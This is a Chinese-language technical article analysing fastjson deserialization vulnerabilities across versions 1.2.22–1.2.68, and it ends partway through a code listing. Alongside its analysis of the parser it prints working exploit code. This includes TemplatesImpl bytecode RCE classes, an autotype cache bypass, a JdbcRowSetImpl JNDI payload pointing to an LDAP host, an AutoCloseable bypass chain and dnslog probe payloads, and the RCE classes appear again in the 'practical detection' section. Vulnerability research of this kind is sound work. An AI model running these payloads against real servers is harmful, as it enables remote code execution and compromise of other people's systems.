fastjson反序列化历史与检测

简介: fastjson反序列化历史与检测

fastjson 1.22-1.24


fastjson对于数据的处理有点绕,没有从一到底的堆栈显示,只能一步一步的跟,首先列出exp:

public class rce_22 {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        String result = Base64.encodeBase64String(bos.toByteArray());
        return result;
    }
    public static void rce_22() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Class_Folder\\fastjson\\target\\classes\\com\\fastjson\\demo\\evilClass.class";
        String evil_code = readClass(evil_path);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    public static void main(String args[]) {
        rce_22();
    }
}

JSONScanner将JSON数据扫描后,生成lexer对JSON数据打token标签,最后赋值到DefaultJSONParser方法中,生成DefaultJSONParser对象,为了更好理解token标签的含义,我用表格列出来


  token 字符
1 error
2 int
3 float
4 string
5 iso8601
6 true
7 false
8 null
9 new
10 (
11 )
12 {
13 }
14 [
15 ]
16 ,
17 :
18 ident
19 fieldName
20 EOF
21 Set
22 TreeSet
23 undefined


赋值完token之后,调用DefaultJSONParser.parseObject(Type type, Object fieldName),当token等于12时,会创建一个JSONObject对象,再次返回调用DefaultJSONParser.parseObject(Map object, Object fieldName),具体如何创建的我就不写了,与此漏洞关系不大,但是为了更好分析贴出堆栈图

parse:1311, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:624, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
rce_22:44, rce_22 (com.fastjson.demo)
main:48, rce_22 (com.fastjson.demo)

接下来接着对token值判断,lexer.scanSymbol(this.symbolTable, '"')取出key为@type,接着取出值对应赋值给ref,接下来运行到TypeUtils.loadClass(ref,this.config.getDefaultClassLoader()),此处为重点,也是之后漏洞修补的地方,贴出代码图

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }
                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }
                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

可以看到对classname进行的判断,L、;、[,这些字符会在之后说明,此方法会将传入的classname实现为对象并放在mappings中,并返回clazz,接着this.config.getDeserializer(clazz)解析为JavaBeanDeserializer对象,其中有个重要的方法为build,通过github官方源码,可以观察到默认调用的方法及条件


满足条件的getter:

for (Method method : clazz.getMethods()) { // getter methods
            String methodName = method.getName();
            if (methodName.length() < 4) {
                continue;
            }
            //method长度大于等于4,非静态
            if (Modifier.isStatic(method.getModifiers())) {
                continue;
            }
            //method以get开头第4个字母为大写,无参构造
            if (builderClass == null && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
                if (method.getParameterTypes().length != 0) {
                    continue;
                }
            //method返回类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
                if (Collection.class.isAssignableFrom(method.getReturnType()) //
                        || Map.class.isAssignableFrom(method.getReturnType()) //
                        || AtomicBoolean.class == method.getReturnType() //
                        || AtomicInteger.class == method.getReturnType() //
                        || AtomicLong.class == method.getReturnType() //
                        ) 

满足条件的setter:

for (Method method : builderClass.getMethods()) {
                //method不为静态方法
                if (Modifier.isStatic(method.getModifiers())) {
                    continue;
                }
                //method返回值为当前类
                if (!(method.getReturnType().equals(builderClass))) {
                    continue;
                }
                ······
                String methodName = method.getName();
                StringBuilder properNameBuilder;
                //method以set开头,长度大于3
                if (methodName.startsWith("set") && methodName.length() > 3) {
                    properNameBuilder = new StringBuilder(methodName.substring(3));
                ······
                 // support builder set
            Class<?> returnType = method.getReturnType();
                 //method返回为void或者返回不为method类
            if (!(returnType.equals(Void.TYPE) || returnType.equals(method.getDeclaringClass()))) {
                continue;
            }
                //method类不为Object类
            if (method.getDeclaringClass() == Object.class) {
                continue;
            }
            Class<?>[] types = method.getParameterTypes();
                //method参数个数为1
            if (types.length == 0 || types.length > 2) {
                continue;
            }

接着贴出堆栈图,用于理解如何调用到方法,为何会调用

build:130, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:522, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:457, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:354, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1312, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:624, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
rce_22:44, rce_22 (com.fastjson.demo)
main:48, rce_22 (com.fastjson.demo)

调用deserialze方法,接着扫描json数据,到下一个引号key为_bytecodes,此时lexer.matchStat为true,运行到boolean match = this.parseField(parser, key, object, type, fieldValues);,为了更好理解,贴出对应代码图

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer;
        FieldDeserializer fieldDeserializer = this.smartMatch(key);
        int mask = Feature.SupportNonPublicField.mask;
        if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
            if (this.extraFieldDeserializers == null) {
                ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap(1, 0.75F, 1);
                Field[] fields = this.clazz.getDeclaredFields();
                Field[] var11 = fields;
                int var12 = fields.length;
                for(int var13 = 0; var13 < var12; ++var13) {
                    Field field = var11[var13];
                    String fieldName = field.getName();
                    if (this.getFieldDeserializer(fieldName) == null) {
                        int fieldModifiers = field.getModifiers();
                        if ((fieldModifiers & 16) == 0 && (fieldModifiers & 8) == 0) {
                            //判断是否是final与static字段,是则不放入map中
                            extraFieldDeserializers.put(fieldName, field);
                        }
                    }
                }
                this.extraFieldDeserializers = extraFieldDeserializers;
            }
            Object deserOrField = this.extraFieldDeserializers.get(key);
            if (deserOrField != null) {
                if (deserOrField instanceof FieldDeserializer) {
                    fieldDeserializer = (FieldDeserializer)deserOrField;
                } else {
                    Field field = (Field)deserOrField;
                    field.setAccessible(true);
                    FieldInfo fieldInfo = new FieldInfo(key, field.getDeclaringClass(), field.getType(), field.getGenericType(), field, 0, 0, 0);
                    fieldDeserializer = new DefaultFieldDeserializer(parser.getConfig(), this.clazz, fieldInfo);
                    this.extraFieldDeserializers.put(key, fieldDeserializer);
                }
            }
        }
        if (fieldDeserializer == null) {
            if (!lexer.isEnabled(Feature.IgnoreNotMatch)) {
                throw new JSONException("setter not found, class " + this.clazz.getName() + ", property " + key);
            } else {
                parser.parseExtra(object, key);
                return false;
            }
        } else {
            lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
            ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
            return true;
        }
    }


第一次传入_bytecodesthis.extraFieldDeserializers为空,进入赋值阶段,获取clazz类中所有声明的字段,最后将名字与反射类放入map中,最后运行到DefaultFieldDeserializer.parseField方法中,this.getFieldValueDeserilizer(parser.getConfig())获取到当前字段的属性,例如_bytecodesObjectArrayCodec,接下来运行到实现抽象类FieldDeserializer.setvalue方法中,因为是重点分析,所以贴出所有代码,关键处写上注释

public void setValue(Object object, Object value) {
        if (value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
            try {
                //判断clazz类中传入声明字段是否属性为方法
                Method method = this.fieldInfo.method;
                if (method != null) {
                    if (this.fieldInfo.getOnly) {
                        if (this.fieldInfo.fieldClass == AtomicInteger.class) {
                            AtomicInteger atomic = (AtomicInteger)method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicInteger)value).get());
                            }
                        } else if (this.fieldInfo.fieldClass == AtomicLong.class) {
                            AtomicLong atomic = (AtomicLong)method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicLong)value).get());
                            }
                        } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
                            AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicBoolean)value).get());
                            }
                        } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                            Map map = (Map)method.invoke(object);
                            if (map != null) {
                                map.putAll((Map)value);
                            }
                        } else {
                            Collection collection = (Collection)method.invoke(object);
                            if (collection != null) {
                                collection.addAll((Collection)value);
                            }
                        }
                    } else {
                        method.invoke(object, value);
                    }
                } else {
                    Field field = this.fieldInfo.field;
                    //getOnly默认为false,fieldInfo为方法且无参数时为true
                    if (this.fieldInfo.getOnly) {
                        if (this.fieldInfo.fieldClass == AtomicInteger.class) {
                            AtomicInteger atomic = (AtomicInteger)field.get(object);
                            if (atomic != null) {
                                atomic.set(((AtomicInteger)value).get());
                            }
                        } else if (this.fieldInfo.fieldClass == AtomicLong.class) {
                            AtomicLong atomic = (AtomicLong)field.get(object);
                            if (atomic != null) {
                                atomic.set(((AtomicLong)value).get());
                            }
                        } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
                            AtomicBoolean atomic = (AtomicBoolean)field.get(object);
                            if (atomic != null) {
                                atomic.set(((AtomicBoolean)value).get());
                            }
                        } else if (Map.class.isAssignableFrom(this.fieldInfo.fieldClass)) {
                            Map map = (Map)field.get(object);
                            if (map != null) {
                                map.putAll((Map)value);
                            }
                        } else {
                            Collection collection = (Collection)field.get(object);
                            if (collection != null) {
                                collection.addAll((Collection)value);
                            }
                        }
                    } else if (field != null) {
                        //设置新的属性值
                        field.set(object, value);
                    }
                }
            } catch (Exception var6) {
                throw new JSONException("set property error, " + this.fieldInfo.name, var6);
            }
        }
    }

通过此方法将exp中的_bytecodes_name_tfactory赋新值,运行到_outputProperties时,Properties属性继承与Map,进入MapDeserializer,生成对应的Properties对象,运行到setValue方法时,_outputProperties的声明字段为方法,method不为null且无参,进入到(Map)method.invoke(object),反射方法,接着分析TemplatesImpl.getOutputProperties->newTransformer->getTransletInstance->defineTransletClasses,最后会对_name判断是否为空,接着通过defineClass加载_bytecodes字节码转为Class,成功实现rce

后面的绕过其实就是之前分析的L、;、[,这三个字符,基于黑名单采用在引用类前增加这些字符,具体的方法,在最后的参考链接贴出,不做具体分析


fastjson 1.2.47


此版本是不开启autotype可以成功利用,虽然和历史漏洞不大相关,但是还是分析一下漏洞点以及漏洞挖掘的思路,hint:漏洞利用了fastjson默认的缓存机制

fastjson在处理json数据时会先加载配置,在ParserConfig.initDeserializers方法中写明对应的类与之后处理此类的对应接口

private void initDeserializers() {
        this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
        this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
        this.deserializers.put(Date.class, SqlDateDeserializer.instance);
        this.deserializers.put(Time.class, TimeDeserializer.instance);
        this.deserializers.put(java.util.Date.class, DateCodec.instance);
        this.deserializers.put(Calendar.class, CalendarCodec.instance);
        this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
        this.deserializers.put(JSONObject.class, MapDeserializer.instance);
        this.deserializers.put(JSONArray.class, CollectionCodec.instance);
        this.deserializers.put(Map.class, MapDeserializer.instance);
        this.deserializers.put(HashMap.class, MapDeserializer.instance);
        this.deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
        this.deserializers.put(TreeMap.class, MapDeserializer.instance);
        this.deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
        this.deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);
        this.deserializers.put(Collection.class, CollectionCodec.instance);
        this.deserializers.put(List.class, CollectionCodec.instance);
        this.deserializers.put(ArrayList.class, CollectionCodec.instance);
        this.deserializers.put(Object.class, JavaObjectDeserializer.instance);
        this.deserializers.put(String.class, StringCodec.instance);
        this.deserializers.put(StringBuffer.class, StringCodec.instance);
        this.deserializers.put(StringBuilder.class, StringCodec.instance);
        this.deserializers.put(Character.TYPE, CharacterCodec.instance);
        this.deserializers.put(Character.class, CharacterCodec.instance);
        this.deserializers.put(Byte.TYPE, NumberDeserializer.instance);
        this.deserializers.put(Byte.class, NumberDeserializer.instance);
        this.deserializers.put(Short.TYPE, NumberDeserializer.instance);
        this.deserializers.put(Short.class, NumberDeserializer.instance);
        this.deserializers.put(Integer.TYPE, IntegerCodec.instance);
        this.deserializers.put(Integer.class, IntegerCodec.instance);
        this.deserializers.put(Long.TYPE, LongCodec.instance);
        this.deserializers.put(Long.class, LongCodec.instance);
        this.deserializers.put(BigInteger.class, BigIntegerCodec.instance);
        this.deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
        this.deserializers.put(Float.TYPE, FloatCodec.instance);
        this.deserializers.put(Float.class, FloatCodec.instance);
        this.deserializers.put(Double.TYPE, NumberDeserializer.instance);
        this.deserializers.put(Double.class, NumberDeserializer.instance);
        this.deserializers.put(Boolean.TYPE, BooleanCodec.instance);
        this.deserializers.put(Boolean.class, BooleanCodec.instance);
        this.deserializers.put(Class.class, MiscCodec.instance);
        this.deserializers.put(char[].class, new CharArrayCodec());
        this.deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
        this.deserializers.put(AtomicInteger.class, IntegerCodec.instance);
        this.deserializers.put(AtomicLong.class, LongCodec.instance);
        this.deserializers.put(AtomicReference.class, ReferenceCodec.instance);
        this.deserializers.put(WeakReference.class, ReferenceCodec.instance);
        this.deserializers.put(SoftReference.class, ReferenceCodec.instance);
        this.deserializers.put(UUID.class, MiscCodec.instance);
        this.deserializers.put(TimeZone.class, MiscCodec.instance);
        this.deserializers.put(Locale.class, MiscCodec.instance);
        this.deserializers.put(Currency.class, MiscCodec.instance);
        this.deserializers.put(InetAddress.class, MiscCodec.instance);
        this.deserializers.put(Inet4Address.class, MiscCodec.instance);
        this.deserializers.put(Inet6Address.class, MiscCodec.instance);
        this.deserializers.put(InetSocketAddress.class, MiscCodec.instance);
        this.deserializers.put(File.class, MiscCodec.instance);
        this.deserializers.put(URI.class, MiscCodec.instance);
        this.deserializers.put(URL.class, MiscCodec.instance);
        this.deserializers.put(Pattern.class, MiscCodec.instance);
        this.deserializers.put(Charset.class, MiscCodec.instance);
        this.deserializers.put(JSONPath.class, MiscCodec.instance);
        this.deserializers.put(Number.class, NumberDeserializer.instance);
        this.deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
        this.deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
        this.deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);
        this.deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
        this.deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
        this.deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
        this.deserializers.put(Closeable.class, JavaObjectDeserializer.instance);
        this.deserializers.put(JSONPObject.class, new JSONPDeserializer());
    }


首先这个版本对autotype有限制,默认为关闭,在ParserConfig.checkAutoType方法中在开启autotype会首先判断是否为白名单,如果为白名单直接加载类。先贴出payload

{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

通过之前的分析,可以清楚fastjson对于json数据的处理,所以这步直接略过,进入key为@type,payload加载了java.lang.Class,可以看到对应为MiscCodec,之后会进入MiscCodec.class文件,接下来的处理方式和之前一样,调用DefaultJSONParser类,进入到ParserConfig.checkAutoType的833行,对之前加载的配置进行调用findclass方法,获取到java.lang.Class直接加载返回,之后进入MiscCodec.class的处理,这里不具体分析,最后调用到TypeUtils.loadClass方法放入mapping中,之后跳出到DefaultJSONParser类,执行map.put(key, obj)将rand1与obj放入map中,其中obj为MiscCodec.class->objVal = parser.parse()->DefaultJSONParser->parse()->case 4直接将恶意类载入,第二次解析嵌套json时会在mapping中直接寻找,然后和之前一样运行到JdbcRowSetImpl类中。

通过对此的分析,这边结合1.22的exp,提升为1.2.47的exp,如下所示:


public class rce_47 {
    public static void main(String[] args) {
        String evil_path = "D:\\Class_Folder\\fastjson\\target\\classes\\com\\fastjson\\demo\\evilClass.class";
        rce_22 rce = new rce_22();
        String evil_code = rce.readClass(evil_path);
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "        \"_bytecodes\":[\""+evil_code+"\"]," +
                "        '_name':'a.b'," +
                "        '_tfactory':{ }," +
                "       \"_outputProperties\":{ }}\n" +
                "    }\n" +
                "}";
        JSON.parseObject(payload, Class.class, Feature.SupportNonPublicField);
    }
}


fastjson 1.2.68


最近的68版本又产生了一次绕过,为了更好的分析漏洞点,我把最近几次更新的黑名单及链接贴出来

1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener


对于autotype的绕过,主要在checkAutoType方法中,之前有简单分析一下,这次贴出代码重点分析一下(包括我踩过的一些坑)

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else {
            if (this.autoTypeCheckHandlers != null) {
                Iterator var4 = this.autoTypeCheckHandlers.iterator();
                while(var4.hasNext()) {
                    ParserConfig.AutoTypeCheckHandler h = (ParserConfig.AutoTypeCheckHandler)var4.next();
                    Class<?> type = h.handler(typeName, expectClass, features);
                    if (type != null) {
                        return type;
                    }
                }
            }
            int safeModeMask = Feature.SafeMode.mask;
            //开启safemode后不支持@type调用类
            boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
            if (safeMode) {
                throw new JSONException("safeMode not support autoType : " + typeName);
            } else if (typeName.length() < 192 && typeName.length() >= 3) {
                //配合之后白名单使用,expectClass类型限制
                boolean expectClassFlag;
                if (expectClass == null) {
                    expectClassFlag = false;
                } else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
                    expectClassFlag = true;
                } else {
                    expectClassFlag = false;
                }
                String className = typeName.replace('$', '.');
                long BASIC = -3750763034362895579L;
                long PRIME = 1099511628211L;
                long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
                if (h1 == -5808493101479473382L) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
                    long fullHash = TypeUtils.fnv1a_64(className);
                    boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
                    long hash;
                    int mask;
                    if (this.internalDenyHashCodes != null) {
                        hash = h3;
                        for(mask = 3; mask < className.length(); ++mask) {
                            hash ^= (long)className.charAt(mask);
                            hash *= 1099511628211L;
                            if (Arrays.binarySearch(this.internalDenyHashCodes, hash) >= 0) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }
                    }
                    Class clazz;
                    //判断typeName不在白名单内且expectClassFlag或autoTypeSupport为true
                    if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
                        hash = h3;
                        for(mask = 3; mask < className.length(); ++mask) {
                            hash ^= (long)className.charAt(mask);
                            hash *= 1099511628211L;
                            //逐词比对是否在白名单内
                            if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
                                if (clazz != null) {
                                    return clazz;
                                }
                            }
                            //逐词判断是否在黑名单中(这里会有很多类无法使用,例如com.sun.开头)
                            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }
                    }
                    //从缓存中读取clazz
                    clazz = TypeUtils.getClassFromMapping(typeName);
                    if (clazz == null) {
                        clazz = this.deserializers.findClass(typeName);
                    }
                    if (clazz == null) {
                        clazz = (Class)this.typeMapping.get(typeName);
                    }
                    if (internalWhite) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
                    }
                    if (clazz != null) {
                        //判断clazz的子类是否为expectClass
                        if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        } else {
                            return clazz;
                        }
                    } else {
                        if (!this.autoTypeSupport) {
                            hash = h3;
                            for(mask = 3; mask < className.length(); ++mask) {
                                char c = className.charAt(mask);
                                hash ^= (long)c;
                                hash *= 1099511628211L;
                                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                                    throw new JSONException("autoType is not support. " + typeName);
                                }
                                if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
                                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                                    }
                                    return clazz;
                                }
                            }
                        }
                        boolean jsonType = false;
                        InputStream is = null;
                        try {
                            String resource = typeName.replace('.', '/') + ".class";
                            if (this.defaultClassLoader != null) {
                                is = this.defaultClassLoader.getResourceAsStream(resource);
                            } else {
                                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
                            }
                            if (is != null) {
                                ClassReader classReader = new ClassReader(is, true);
                                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                                classReader.accept(visitor);
                                jsonType = visitor.hasJsonType();
                            }
                        } catch (Exception var28) {
                        } finally {
                            IOUtils.close(is);
                        }
                        mask = Feature.SupportAutoType.mask;
                        boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                        if (autoTypeSupport || jsonType || expectClassFlag) {
                            boolean cacheClass = autoTypeSupport || jsonType;
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
                        }
                        if (clazz != null) {
                            if (jsonType) {
                                TypeUtils.addMapping(typeName, clazz);
                                return clazz;
                            }
                            //clazz不能为ClassLoader、DataSource和RowSet的子类
                            if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz)) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                            if (expectClass != null) {
                                //expectClass为clazz的子类加入缓存
                                if (expectClass.isAssignableFrom(clazz)) {
                                    TypeUtils.addMapping(typeName, clazz);
                                    return clazz;
                                }
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }
                            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                                throw new JSONException("autoType is not support. " + typeName);
                            }
                        }
                        if (!autoTypeSupport) {
                            throw new JSONException("autoType is not support. " + typeName);
                        } else {
                            if (clazz != null) {
                                TypeUtils.addMapping(typeName, clazz);
                            }
                            return clazz;
                        }
                    }
                }
            } else {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

从代码中可以看出,想要通过检查需要满足以下三点

1.首先clazz要在mapping缓存中

2.不能在黑名单中

3.之后传入的类要继承之前的clazz


对于mapping的缓存,之前有分析过,在一开始fastjson载入了一些基础类,可以根据基础类进行分析,我这边直接调用大佬分析过的轮子,写一个demo(我这个没有rce的功能,大家自己发掘吧,最后我贴个链接出来)

String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"defaultEncoding\":\"UTF-8\",\"httpContentType\":\"text/xml\",\"is\":{\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"bufferSize\":\"1024\",\"charsetName\":\"UTF-8\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"http://127.0.0.1:8080",\"cs\":\"UTF-8\"}}}}";
JSON.parseObject(payload, Class.class)

dc061b1e841e5a0f27fb760fd59a0f7c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


实战检测


在日常实战过程中,当遇到传输json数据时,可以利用不闭合花括号的形式,尝试客户端是否会报错,当不存在报错时,可以追加本不存在的key,查看客户端回显(fastjson并无keyjavabean强制对齐的情况。除以上情况,还可以利用dnslog进行探测

{"@type":"java.net.InetAddress","val":"http://dnslog"}
{"@type":"java.net.Inet4Address","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}
{"@type":"java.net.URL","val":"http://dnslog"}

当然除了探测,rce的payload也是有的(rce后的数字对应版本号)


public class rce_22 {
    public String readClass(String cls){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos);
            } catch (IOException e) {
                e.printStackTrace();
            }
            String result = Base64.encodeBase64String(bos.toByteArray());
            return result;
        }
    public static void rce_22() {
            rce_22 rce = new rce_22();
            ParserConfig config = new ParserConfig();
            //evilClass可以参照ysoserial中对TemplatesImpl的处理
            String evil_path = "evilClass.class";
            String evil_code = rce.readClass(evil_path);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                    "'_name':'a.b'," +
                    "'_tfactory':{ }," +
                    "\"_outputProperties\":{ }}\n";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        }
    public static void main(String args[]) {
        rce_22();
    }
}
public class rce_47 {
    public static void main(String[] args) {
        String evil_path = "D:\\Class_Folder\\fastjson\\target\\classes\\com\\fastjson\\demo\\evilClass.class";
        rce_22 rce = new rce_22();
        String evil_code = rce.readClass(evil_path);
        //47也可同样利用22的方式,先进入map缓存,之后再调取,绕过autotype
        /*
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "        \"_bytecodes\":[\""+evil_code+"\"]," +
                "        '_name':'a.b'," +
                "        '_tfactory':{ }," +
                "       \"_outputProperties\":{ }}\n" +
                "    }\n" +
                "}";
                */
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
